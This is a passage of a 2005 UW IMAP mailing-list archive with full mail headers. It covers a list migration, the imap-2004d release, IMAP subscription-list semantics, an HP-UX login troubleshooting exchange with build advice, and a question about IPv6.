X-Scanned-By: Samera.com.py - MIMEdefang.org 2.51 - ClamAV.net 0.83 - SpamAssassin.org 3.02 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Excelent! Many thanks for the explanation Mark. Oliver Mark Crispin wrote: > On Thu, 21 Apr 2005, Oliver Schulze L. wrote: > >> Was the list migrated? Or I was added to this list? I don't mind been >> here ;) > > > Yes, the list was migrated. We are in the final stages of retiring > our old listproc based mailing list processor (the IMAP and c-client > lists were two of the last lists to be moved) and we decided to take > the opportunity of renaming the list names to less confusing names. > In particular, too many people have inadvertantly sent questions about > the UW IMAP software to the IMAP list. > > As part of this, the old c-client list is now named imap-uw. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. -- Oliver Schulze L. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Apr 28 19:29:48 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 28 Apr 2005 19:29:48 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j3T2TlTD031347 for ; Thu, 28 Apr 2005 19:29:47 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j3T2TkxL011692 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 28 Apr 2005 19:29:47 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j3T2TRrJ026404; Thu, 28 Apr 2005 19:29:27 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j3T2TPUQ026396 for ; Thu, 28 Apr 2005 19:29:25 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j3T2TPjU020190 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 28 Apr 2005 19:29:25 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j3T2TOkC020427 for ; Thu, 28 Apr 2005 19:29:24 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j3T2TOF9028187 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT) for ; Thu, 28 Apr 2005 19:29:24 -0700 Date: Thu, 28 Apr 2005 19:29:24 -0700 (Pacific Daylight Time) From: Mark Crispin To: UW IMAP Software Interest List Message-ID: Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.143 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' Cc: Subject: [Imap-uw] announcing: UW IMAP toolkit version 2004d X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu This message is to announce the University of Washington IMAP toolkit version 2004d: ftp://ftp.cac.washington.edu/mail/imap-2004d.tar.Z or simply ftp://ftp.cac.washington.edu/mail/imap.tar.Z MD5 checksum = 9bee45a210138d4a924ab95539f5ef35 The files are unchanged from the last imap-2004d development snapshot. imap-2004d is a maintenance release, released concurrently with Pine 4.63, and consists primarily of bugfixes. There is now a workaround for Linux 2.6 breaking flock(). See: https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=123415 for the gruesome details. There are no user-visible functional enhancements in this version. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon May 2 05:00:19 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 2 May 2005 05:00:19 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j42C0IMb008304 for ; Mon, 2 May 2005 05:00:18 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j42C0HaP002233 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 2 May 2005 05:00:18 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j42BxtJF013788; Mon, 2 May 2005 04:59:55 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j42BxsYc013780 for ; Mon, 2 May 2005 04:59:54 -0700 Received: from mail.n200.com (mail.n200.com [80.127.141.19]) by mxe5.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j42BxrT4024078 for ; Mon, 2 May 2005 04:59:53 -0700 Received: from localhost (localhost [127.0.0.1]) by mail.n200.com (Postfix) with ESMTP id C578B1675A; Mon, 2 May 2005 13:59:50 +0200 (CEST) Received: from mail.n200.com ([127.0.0.1]) by localhost (postman [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 06798-08; Mon, 2 May 2005 13:59:47 +0200 (CEST) Received: from [192.168.9.75] (haydn.n200.n200 [192.168.9.75]) by mail.n200.com (Postfix) with ESMTP id AC71516759; Mon, 2 May 2005 13:59:47 +0200 (CEST) Message-ID: <4276163C.6060009@n200.com> Date: Mon, 02 May 2005 13:59:56 +0200 From: Mark Brand Organization: N200 BV User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.7) Gecko/20050414 X-Accept-Language: en, nl, es MIME-Version: 1.0 To: IMAP-UW@u.washington.edu Content-Type: text/plain; charset=ISO-8859-15 Content-Transfer-Encoding: 7bit X-Virus-Scanned: by amavisd-new at n200.com X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.168 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' Cc: Mark Crispin Subject: [Imap-uw] directories listed in .malboxlist and terminating slashes X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu There seems to be a controversy about a subscribed folder (listed in /home/user/.mailboxlist) corresponding to a directory in the OS that contains mailbox files but cannot directly contain messages. In Mozilla, if you click on the node corresponding to such a folder, an error message is shown complaining that the imap server reported that the folder is not selectable. This is fairly annoying behavior. I know of 2 workarounds. The first is not to subscribe to such folders (but only to desired subordinate mailboxes containing messages), but this confuses other clients (like SquirrelMail). The second is to manually add terminating slashes to the corresponding items in .mailboxlist. There is an old unresolved issue about this in the Mozilla Bugzilla that I came upon: https://bugzilla.mozilla.org/show_bug.cgi?id=166885 The last remark in the issue essentially gives the blame to uw-imap. I'm hoping someone on this list can clarify the issue after reading the bug. I don't mind passing your comments on to Mozilla's Bugzilla. Mark _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon May 2 09:34:32 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 2 May 2005 09:34:32 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j42GYWct018930 for ; Mon, 2 May 2005 09:34:32 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j42GYVvo007396 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 2 May 2005 09:34:31 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j42GYDl1002244; Mon, 2 May 2005 09:34:13 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j42GYBTk002221 for ; Mon, 2 May 2005 09:34:11 -0700 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mxi1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j42GYBJX029190 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 2 May 2005 09:34:11 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout7.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j42GYAJg008012; Mon, 2 May 2005 09:34:10 -0700 Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated bits=0) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j42GXvZA029836 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT); Mon, 2 May 2005 09:34:09 -0700 Date: Mon, 2 May 2005 09:33:57 -0700 (PDT) From: Mark Crispin To: Mark Brand In-Reply-To: <4276163C.6060009@n200.com> Message-ID: References: <4276163C.6060009@n200.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.143 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' Cc: IMAP-UW@u.washington.edu Subject: [Imap-uw] Re: directories listed in .malboxlist and terminating slashes X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu The subscription list in IMAP is nothing more than a list of names. The server is not required to validate a name that the client chooses to subscribe. The name does not have to exist; or if it exists it does not have to be a selectable mailbox. The purpose of the subscription list is to be a short list of names for the client. Think of it as being like bookmarks in a browser. Yes, there are clients which list all names and then subscribe all names. That's broken behavior. A name should only be subscribed because the human user manually decided to subscribe it. In conclusion, the situation that you describe is due to client bug(s). I read the bugzilla page in question; John Gerth does not understand the purpose of the subscription list nor does he understand the meaning of a trailing "/" in a name. Pawel Salek made a comment today in that bugzilla page. He's completely correct. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri May 6 00:30:12 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 6 May 2005 00:30:12 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j467UCYs006265 for ; Fri, 6 May 2005 00:30:12 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j467UBJ6010784 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 6 May 2005 00:30:11 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j467TnNx027731; Fri, 6 May 2005 00:29:49 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j467Tnf5027723 for ; Fri, 6 May 2005 00:29:49 -0700 Received: from mail.westpac.com.au (mail.westpac.com.au [203.24.6.110]) by mxe1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j467TljN000806 for ; Fri, 6 May 2005 00:29:48 -0700 Received: from mail.westpac.com.au (localhost [127.0.0.1]) by localhost.westpac.com.au (Postfix) with ESMTP id 92E041F74CA for ; Fri, 6 May 2005 17:34:15 +1000 (EST) Received: from peccml04.intranet.westpac.com.au (unknown [10.4.210.84]) by mail.westpac.com.au (Postfix) with ESMTP id 55EDE1F6B7A for ; Fri, 6 May 2005 17:34:15 +1000 (EST) To: imap-uw@u.washington.edu MIME-Version: 1.0 X-Mailer: Lotus Notes Release 6.0.2CF1 June 9, 2003 Message-ID: From: Adam Tempest Date: Fri, 6 May 2005 17:29:37 +1000 X-MIMETrack: Serialize by Router on PECCML04/INFAU/WBCAU/WBG(Release 6.0.4HF17 | July 9, 2004) at 06/05/2005 17:29:46, Serialize complete at 06/05/2005 17:29:46 X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.136 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __LINES_OF_YELLING 0, __MIME_HTML 0, __MIME_VERSION 0, __PHISH_FROM 0, __PHISH_FROM1 0, __RATWARE_SIGNATURE_3_N1 0, __SANE_MSGID 0' Subject: [Imap-uw] problemns connecting to imap X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============0723046886==" Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu This is a multipart message in MIME format. --===============0723046886== Content-Type: multipart/alternative; boundary="=_alternative 00292A74CA256FF9_=" This is a multipart message in MIME format. --=_alternative 00292A74CA256FF9_= Content-Type: text/plain; charset="US-ASCII" Hi We have setup the uw-imap software, which we downloaded from the HP-UX site, on our server. We can not log in with our Unix accounts, here is the commands we used $ telnet localhost 143 Trying... Connected to localhost. Escape character is '^]'. * OK [CAPABILITY IMAP4REV1 LITERAL+ SASL-IR LOGIN-REFERRALS STARTTLS AUTH=LOGIN] localhost IMAP4rev1 2004.356 at Fri, 6 May 2005 16:06:20 +1000 (EST) 1 login appldev ########### 1 NO LOGIN failed 1 login appltst ########### 1 NO LOGIN failed 1 logout * BYE codevl01 IMAP4rev1 server terminating connection 1 OK LOGOUT completed Connection closed by foreign host. Here is a line from the file, /var/adm/syslog/syslog.log May 6 15:52:49 codevl01 imapd[27401]: Autologout user=appltst host=localhost [127.0.0.1] Our server is a HP-UX , model 9000/800/rp4440, running 11i unix operating system Please if you have encountered this problem before, any information in helping resolve our problem would be greatly appreciated. If you require any more information, please let us know Thanks Adam Tempest Please consider our environment before printing this email. WARNING - This email and any attachments may be confidential. If received in error, please delete and inform us by return email. Because emails and attachments may be interfered with, may contain computer viruses or other defects and may not be successfully replicated on other systems, you must be cautious. Westpac cannot guarantee that what you receive is what we sent. If you have any doubts about the authenticity of an email by Westpac, please contact us immediately. It is also important to check for viruses and defects before opening or using attachments. Westpac's liability is limited to resupplying any affected attachments. This email and its attachments are not intended to constitute any form of financial advice or recommendation of, or an offer to buy or offer to sell, any security or other financial product. We recommend that you seek your own independent legal or financial advice before proceeding with any investment decision. Westpac Institutional Bank is a division of Westpac Banking Corporation, a company registered in New South Wales in Australia under the Corporations Act 2001 (Cth). Westpac is authorised and regulated in the United Kingdom by the Financial Services Authority and is registered at Cardiff in the United Kingdom as Branch No. BR 106. Westpac operates in the United States of America as a federally chartered branch, regulated by the Office of the Comptroller of the Currency. Westpac Banking Corporation ABN 33 007 457 141. --=_alternative 00292A74CA256FF9_= Content-Type: text/html; charset="US-ASCII"
    Hi

    We have setup the uw-imap software, which we downloaded from the HP-UX site, on our server.  

    We can not log in with our Unix accounts, here is the commands we used



    $ telnet localhost 143
    Trying...
    Connected to localhost.
    Escape character is '^]'.
    * OK [CAPABILITY IMAP4REV1 LITERAL+ SASL-IR LOGIN-REFERRALS STARTTLS AUTH=LOGIN] localhost IMAP4rev1 2004.356 at Fri, 6 May 2005 16:06:20 +1000 (EST)
    1 login appldev ###########
    1 NO LOGIN failed
    1 login appltst ###########
    1 NO LOGIN failed
    1 logout
    * BYE codevl01 IMAP4rev1 server terminating connection
    1 OK LOGOUT completed
    Connection closed by foreign host.



    Here is a line from the file,  /var/adm/syslog/syslog.log
    May  6 15:52:49 codevl01 imapd[27401]: Autologout user=appltst host=localhost [127.0.0.1]


    Our server is a HP-UX , model 9000/800/rp4440, running 11i unix operating system

    Please if you have encountered this problem before, any information in helping resolve our problem would be greatly appreciated.  If you require any more information, please let us know

    Thanks
    Adam Tempest
    Please consider our environment before printing this email.

    WARNING - This email and any attachments may be confidential. If received in error, please delete and inform us by return email. Because emails and attachments may be interfered with, may contain computer viruses or other defects and may not be successfully replicated on other systems, you must be cautious. Westpac cannot guarantee that what you receive is what we sent. If you have any doubts about the authenticity of an email by Westpac, please contact us immediately.

    It is also important to check for viruses and defects before opening or using attachments. Westpac's liability is limited to resupplying any affected attachments.

    This email and its attachments are not intended to constitute any form of financial advice or recommendation of, or an offer to buy or offer to sell, any security or other financial product. We recommend that you seek your own independent legal or financial advice before proceeding with any investment decision.

    Westpac Institutional Bank is a division of Westpac Banking Corporation, a company registered in New South Wales in Australia under the Corporations Act 2001 (Cth). Westpac is authorised and regulated in the United Kingdom by the Financial Services Authority and is registered at Cardiff in the United Kingdom as Branch No. BR 106. Westpac operates in the United States of America as a federally chartered branch, regulated by the Office of the Comptroller of the Currency.

    Westpac Banking Corporation ABN 33 007 457 141.
    --=_alternative 00292A74CA256FF9_=-- --===============0723046886== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw --===============0723046886==-- From pinedev@shivax2.cac.washington.edu Fri May 6 01:11:55 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 6 May 2005 01:11:55 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j468Bt0S008347 for ; Fri, 6 May 2005 01:11:55 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j468BsC8021775 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 6 May 2005 01:11:54 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j468BiZF031118; Fri, 6 May 2005 01:11:44 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j468Bifh031110 for ; Fri, 6 May 2005 01:11:44 -0700 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mxi2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j468BhAr032740 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 6 May 2005 01:11:43 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout7.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j468Bh4K012479; Fri, 6 May 2005 01:11:43 -0700 Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated bits=0) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j468BeBh020333 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Fri, 6 May 2005 01:11:42 -0700 Date: Fri, 6 May 2005 01:11:40 -0700 (PDT) From: Mark Crispin To: Adam Tempest Subject: Re: [Imap-uw] problemns connecting to imap In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.33.12 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P3_4 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Your problem appears to be a build configuration problem. There are multiple choices to build on HP-UX, and you need to know which of these is suitable for your system's means of password validation. Unfortunately, HP-UX has many variants in terms of how passwords are validated, so it may take a bit of trial and error to determine which variant is the one you want. Also, we no longer have any HP-UX systems at UW to test on. But, if you're willing to be patient and try some things, we'll get you on the air. Did you build the software from sources? If you are using binaries that someone else has built, have you tried getting the sources from the UW FTP site: ftp://ftp.cac.washington.edu/mail/imap.tar.Z and building them yourself? If you built the software yourself, what command did you use? That is, which port name (gh9, ghp, ghs, hpp, hpx, hxd, shp) did you use? gh9 and hpp are probably unsuitable for HP-UX version 11. Do you know if you have either DCE security or Trusted Computer Base (SecureWare)? If not, are the passwords stored in /etc/passwd or are they in some other location? The fact that the server advertises STARTTLS and AUTH=LOGIN, and does *not* advertise LOGINDISABLED, indicates that it was built with SSL support and with plaintext authentication allowed in unencrypted sessions (SSLTYPE=unix). You probably want to change that to forbid plaintext password in unencrypted sessions (SSLTYPE=nopwd), but for now it simplifies things. The autologout syslog simply means that the imapd session timed out due to inactivity. It is not significant in determining the cause of your password validation problems. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri May 6 15:17:23 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 6 May 2005 15:17:23 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j46MHNtY014987 for ; Fri, 6 May 2005 15:17:23 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j46MHMdS004321 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 6 May 2005 15:17:22 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j46MH1da019943; Fri, 6 May 2005 15:17:01 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j46MH0NV019923 for ; Fri, 6 May 2005 15:17:00 -0700 Received: from prime.gushi.org (prime.gushi.org [65.125.228.130]) by mxe4.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j46MGxBv007689 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Fri, 6 May 2005 15:17:00 -0700 Received: from prime.gushi.org (danm@localhost.com [127.0.0.1] (may be forged)) by prime.gushi.org (8.13.1/8.13.1) with ESMTP id j46MQQgE031546 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 6 May 2005 18:26:26 -0400 (EDT) Received: from localhost (danm@localhost) by prime.gushi.org (8.13.1/8.13.1/Submit) with ESMTP id j46MQQ5I031543 for ; Fri, 6 May 2005 18:26:26 -0400 (EDT) Date: Fri, 6 May 2005 18:26:26 -0400 (EDT) From: "Dan Mahoney, System Admin" To: imap-uw@u.washington.edu Message-ID: <20050506182528.E31231@prime.gushi.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.33.15 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' Subject: [Imap-uw] IPv6 support X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hello all, Are there any plans to have Imap (and consequently the pop3 proxy) support ipv6 connections? Do they already with some special compile-time flag? Inquiring minds would love to know. -Dan Mahoney -- "Goodbye my peoples. I'll miss each one of you. Sniff-Sniff I now know the true meaning of love. Thank you Sniff-Sniff. You are all in my heart." -Chris D. --------Dan Mahoney-------- Techie, Sysadmin, WebGeek Gushi on efnet/undernet IRC ICQ: 13735144 AIM: LarpGM Site: http://www.gushi.org --------------------------- _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri May 6 15:29:31 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 6 May 2005 15:29:31 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j46MTVxK015493 for ; Fri, 6 May 2005 15:29:31 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j46MTUdc025978 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 6 May 2005 15:29:30 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j46MTC6G022478; Fri, 6 May 2005 15:29:12 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j46MTBmk022469 for ; Fri, 6 May 2005 15:29:11 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j46MTB8F021144 (version=TLSv1/SSLv3 